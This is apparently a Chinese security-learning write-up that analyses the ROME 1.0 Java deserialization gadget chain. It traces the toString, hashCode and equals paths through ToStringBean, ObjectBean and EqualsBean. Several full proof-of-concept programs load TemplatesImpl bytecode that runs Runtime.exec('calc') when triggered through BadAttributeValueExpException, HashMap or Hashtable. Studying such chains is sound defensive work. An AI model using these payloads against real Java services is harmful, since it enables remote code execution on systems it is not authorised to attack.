Rome链
RMOE 是一个用于RSS 和 Atom 订阅的Java框架。它是开源的。
它是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或Java对象。
环境准备
环境依赖:
1
2
3
4
5
|
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
|
测试环境:
需要了解的类
ToStringBean
这个类位于com.sun.syndication.feed.impl.ToStringBean
,这个类主要就是看他的toString方法。
他有两个toStirng()方法,前一个是无参的public类型的方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix);
}
|
后面一个就是有参的private类型的方法,源代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
|
先简单了解一下,后面再细说。
ObjectBean
这个类位于com.sun.syndication.feed.impl.ObjectBean
,它是Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个Object 对象实例进行封装:

现在着重于看这个类中的方法,这里有三个方法可以利用,下面分别说明一下:
toString()
ObjectBean类的toString()方法源代码如下:

所以这里会调用ToStringBean类的toString()方法,前面说过ToStringBean来有两个toString()方法,这里是没有传入参数的,所以调用的是ToStringBean的第一个toString()方法。

并且可以看出最后调用的是第二个toString并传入了prefix,这里简单分析一下途中我画红线两段代码,其实就是获取我传入的类实例的名字。看下面代码就能看懂:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package org.example;
public class Haha {
public static void main(String[] args) throws Exception {
String prefix;
Haha _obj =new Haha();
String className = _obj.getClass().getName();
System.out.println(className);
prefix = className.substring(className.lastIndexOf(".") + 1);
System.out.println(prefix);
}
}
|
结果为:
1
2
|
org.example.Haha
Haha
|
基本就知道了,就是用来获取类名的。
——————
现在我们再来看第二个toString()方法,重点分析其中的一部分代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
}
|
1.先看BeanIntrospector.getPropertyDescriptors(this._beanClass),我们点开源代码看一下:

这里用到了_introspected
变量,我们可以看一下这个变量的赋值:

可以看到这里就直接将这个变量赋值为了HashMap类的实例。继续看getPropertyDescriptors方法,逐行来看:
1
|
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
|
所以这里会调用HashMap的get方法,来获取kclass对应的值。
再来看一下我们在实例化ObjectBean时调用的ToStringBean类的构造方法:

所以这里的kclass对应的_beanClass的类型是一个Class类对象。
——————
继续getPropertyDescriptors方法,很明显我们并没有往BeanIntrospector的HashMap中放入任何值,所以这里的get()返回的肯定是null。
所以顺理成章进入到if语句,如下代码:
1
2
3
4
|
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}
|
这里会先调用getPDs()方法,然后再将这个kclass和getPDs的结果put进HasMap里形成一个键值对。
现在再来看这里调用的getPDs():

这个方法大概就是获取这个Class对象所有的getter和setter然后打包成数组返回。
所以这个方法最终会将这个Class对象和它的setterr和getter打包成键值对放入BeanIntrospector类的HashMap中。
最后会将这个数组返回:

所以这里的getPropertyDescriptors()方法就是获取我们传入的Class对象的getter和setter方法,逻辑还是挺好看懂的,如果HashMap中有相对应的键值对就直接以数组形式返回setter和getter方法,没有的话就重新找然后返回。
————————
2.继续看toString()方法,现在得到了结果,假设我们传入的Class有getter和setter,那么getPropertyDescriptors()方法返回的就不为null,即pds不为null,成功进入if条件:
1
2
3
4
5
6
7
8
9
10
|
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
|
现在就是重点分析if语句内的java语句了。
对于这个for循环,只要能进入if语句就能进行至少一次for循环(因为数组中只要有一个值那么length就为1),继续看后面的代码:

然后这里的 getReadMethod() 方法是获取Class对象的getter方法,如果正确获取到了get方法,应该就可以通过里面的if条件,然后就可以调用到invoke方法,这里的NO_PARAMS变量的值也是固定的,如下:

这里可以把new Object[0]
理解成类似于null这种,然后就可以正常调用getter方法获取值。
现在就出来了一条链,类似CB链这种,现在就可以利用到TemplateImpl类的getOutputProperties()方法:

这样就可以直接构造攻击了。现在就可以先去看攻击构造的toString部分了.
hashCode()
再粘过来一下ObjectBean的构造方法:

这里ObjectBean类的hashCode()方法源码如下:

然后从上面的初始化方法可以看出这里会调用 _equalsBean 变量对应的EqualsBean类实例的beanHashCode() 方法,源码如下:

这里就又是一个触发toString()方法的地方,并且这个EqualsBean类的_obj
变量是可控的:

前面的判断语句就是看我传入的参数obj
是否是beanClass
类的实例,是的话就返回true,反之依然,由于!
,所以这里我们传入的obj需要是beanClass的实例。只要我们将这里的Obj又控制为一个恶意ObjectBean类实例即可。
现在就又可以构造一个利用链了。这里是用的HashMap来构造。现在就可以直接去看攻击构造的hashCode()那一步了。
equals()
同样的再次把ObjectBean构造方法粘过来一下:

现在来看这个类的equals()方法:

所以这里会调用EqualsBean类的beanEquals()方法,方法重点源码如下:

这里的代码和前面的toString()方法大相径庭,还是获取一个类的getter和setter方法,然后调用invoke()方法。
现在的想法就是对前面的if条件的判断,如下:

前面很好进,主要就是我重点标注的地方。这里就是要求我们传入的obj是 _beanClass 的实例。这个简单,传一个impl进去就行。
先来看我们如何调用这个equals()方法。正好我们的CC7中就有利用到equals()方法。这里就是用Hashtable类。
后续就可以直接去看攻击构造了。
攻击构造
toString()
前面说的已经非常清楚了。还是挺简单的。
那么还是利用动态加载字节码。基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就是接入链子。
主要就是想在哪里可以调用ObjectBean的toString()方法。而在CC5中用到的BadAttributeValueExpException
类反序时就可以调用到toStirng方法(这个类位于javax.management.BadAttributeValueExpException
):

在CC5我们就说了这里的valObj其实对应的就是序列化的变量val,所以我们控制这个变量为ObjectBean()即可,使用反射来更改val的值即可,那么构造的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import com.sun.syndication.feed.impl.ObjectBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
ObjectBean x1 = new ObjectBean(TemplatesImpl.class,impl);
setFieldValue(haha,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(haha);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
弹不了,然后我去看了一下其他师傅的文章,发现这里不能用TemplatesImpl.class,而是Templates.class,关系如下:

在Templates.class中有个接口,里面就有我们要利用的getOutputProperties:

所以我们就可以使用Templates.class来获取到这个getter方法。
那么为什么我们要使用这个呢?明明逻辑上没有问题,TemplatesImpl.class就是有问题呢?
先给POC,然后我们再调试看看。
所以最终POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
ObjectBean x1 = new ObjectBean(Templates.class,impl);
setFieldValue(haha,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(haha);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在来解决一下之前的问题。我打断点如下:

确实成功直接获取到了我们想要利用的getOutputProperties()方法,但是当我如下打断点:

然后调试,发现这里并不会进入到这个语句。这让我想到了之前CC5个人思考那里的问题,在我们动态加载字节码的时候,由于其中的过程,导致了在中间某一步直接报错退出。
结合这个,我们来想一下如果利用TemplatesImpl.class,因为TemplatesImpl.class中的getter不止一个,所以其实很有可能在其中某个getter直接报错退出了,导致我们没能成功利用到想用的getOutputProperties()方法。
然后我们再用原先错误的TemplatesImpl.class调试一下,还是打断点如下:

当调用到getStylesheetDOM()时,invoke那里确实就直接报错退出到catch部分了:

。这个getStylesheetDOM()方法如下:

——————
OK,问题解决。
所以注意:后面这里记到用Templates.class,而不是TemplatesImpl.class。
hashCode()
这里是用的HashMap,但是同样的应该HashSet和Hashtable也行,这三个都是由hashCode链的。分析一下HashMap类:
同样的基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就是接入HashMap。
还是很简单的。
就是为了触发恶意ObjectBean的toString()方法,POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ObjectBean bean = new ObjectBean(Templates.class,impl);
HashMap hashMap = new HashMap();
ObjectBean x = new ObjectBean(ObjectBean.class,bean);
hashMap.put(x,"fupanc");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功按照预期弹出两个计算机。(序列一个,反序列化一个)
但是好像还是有点问题,构思一下,如何在反序列化的时候只弹出一个计算机:
正常来说肯定会在序列化前的那个put()方法会调用一次完整的链,那里会导致异常输出,所以并不能成功利用。
现在来看看在toString()方法获取getter并调用的代码:

我想到了一个点,是否可以让这里的pds为null,从而在序列化前不进入if条件从而不会调用到getter方法,在put方法过后再反射修改值呢?
那么这个pds变量的赋值也是分析过的,所以可以尝试找没有getter和setter方法的class对象?
主要是要满足如下条件:

也就是这个EqualsBean类实例化时必须满足相对应的实例。找了一下没找到。
其实具体的方法可以参考后面的equals()方法链的解决方法,具体想法可以先看后面,这里就给一个POC后再简单说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class,impl);
EqualsBean x = new EqualsBean(String.class,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(x,"fupanc");
setFieldValue(x,"_beanClass",ToStringBean.class);
setFieldValue(x,"_obj",bean);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
简单说明一下,这里讲ObjectBean类都换成了相对应的类,并且其实这里最终调用的都是相对应的类:

对于这里的hashCode(),其实调用的就是EqualsBean类的beanHashCode()方法:

也就是漏洞触发点:

在这里,我是将EqualsBean赋值时也是相对应的String.class和"fupanc",符合EqualsBean类的构造函数方法,主要的不同点就是上面的beanHashCode()方法,原先的POC中是会直接调用到toString()方法触发一次调用链的,但是在这里,我将这个_obj
变量赋值为了一个字符串实例,所以这里就是一个单纯的算hash的过程:

那么后续就是成功往hashMap中放进了键值对,然后在反序列化时也是符合预期的:

并且运行后只在反序列化时弹出一个计算机,成功修改。
等如HashSet、Hashtable基本都差不多,如果过滤HashMap时要想到这些。
equals()s
还是先来给出基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在还是来想如何将基本盘接入Hashtable类。
重点还是在于readObject()调用的reconstitutionPut():

下面来分析一下。
先从序列化过程说起。再总结一下前面的需求:
1.首先就是调用到的ObjectBean
的equals()方法,现在着重看参数:

这里传入的other参数,继续看beanEquals()方法:

也就是这里的obj,单纯对obj来说就这前面的利用,由于我们想要正常利用后面的invoke()方法,所以需要满足this._beanClass.isInstance(obj)
,这样才会进入else执行我们想用的代码。在这里我会尝试传入一个TemplatesImpl实例,但是真正利用的却并不是这个传入的TemplatesImpl类实例,看利用代码:

也是之前一直说的,动态加载字节码后会直接报异常然后退出,所以这里真正利用到的其实只是这个bean1,而这个bean1对应的是_obj
这个变量,那个这里的bean1,也就是我们构造的参数传递的值,起的真正作用是什么,就是为了满足this._beanClass.isInstance(obj)
,也就只有这个作用了,具体参数传递后面会讲,作用也就是这个。
2.现在再来看一下Hashtable的put方法:

如何触发equals()方法,自己想了一下,本来想直接传入ObjectBean类实例的,但是对于这里的hash相等不一定。
看了一下nivia师傅的文章,调用的是HashMap的equals()方法,这个equals()方法调用过程是和CC7的那条链差不多的。
现在再来看一下HashMap的equals()调用过程:
HashMap父类AbstractMap的equals()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
|
在这个方法代码里面还有一处是调用的equals

就是这里,只要控制这里的value为ObjectBean类实例即可。
结合前面的需求,我们需要传入两个,一个是HashMap类实例,还有个就是TemplatesImpl类实例,但是看这里参数的传递,其实就是m.get(key)
中的m对应前面说过的ObjectBean类的equals()方法的other,然后这里的m又是对应的传入的o:

即:

这里的key。
所以现在我们是需要传入两个HashMap类实例,然后这里对第二个HashMap类调用get时可以返回一个TemplatesImpl类实例。所以我们需要put进去。
这里总结一下前面的需求:
问题解决:

就是这个,所以我们还需要给HashMap传进去一个ObjectBean类实例的值。同时在CC7学习中,我们可以知道这里的e是hashMap0(假设会向Hashtable中传入hashMap0和hashMap1),这也是为什么在CC7那里要移除yy的原因。
根据这个,我们的两个HashMap类就需要有逻辑。直接给代码:
1
2
3
4
5
6
7
|
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
|
比如说当前面拿到的第一个HashMap的key和value分别为zZ和bean,那么此时对于我们的第二个HashMap调用的就是get(“zZ”),而我们这里需要的是impl,所以在第二个HashMap的键值对中我们就需要将键zZ的值设置为impl,所以这里也是需要反着来的原因。
那么又是为什么要两个呢?
按理说应该如下代码就行了:
1
2
3
4
5
|
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
|
这样不就已经对应了吗。这就与hash值相等有关系了,继续看后面。
在前面也说过了,会传入两个HashMap类,所以会调用HashMap的父类AbstractMap的hashCode()方法,在CC7也有说过,过程中需要注意的点就是:

即在生成哈希码的时候需要考虑到key和value。
毋庸置疑yy和zZ本身就已经哈希碰撞相同了。在我们之前的提出的疑问:为啥设置两个,这里就能给出答案:像前面那样只设置一个,key是相同了,但是这里的value是肯定不相同的。
所以我们需要设置两个:
1
2
3
4
5
6
7
|
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
|
——————
现在就可以尝试一下构造代码了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ObjectBean bean = new ObjectBean(Templates.class,impl);
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
运行后只弹出一个计算机,那么只能是序列化的时候弹出来的,打断点调试一下,发现确实是都没有进入序列化部分,并且是无法放入第二个键值对的:

解决方法,还是反射更改,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class,"fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
简单说明一下,EqualsBean类不用说了,就是ObjectBean类实例用的那个。ObjectBean类的equals()方法也是指向的我们要利用的那个:

对于反射修改,还是很妙的,直接在下面这一步就断出去了并且没有影响基本的赋值问题:

因为传入的TemplatesImpl类实例和String.class不是相对应的,所以没有进入下面的加载字节码的过程。直接讲eq赋值为了false,并且在最后是返回了这个值的:

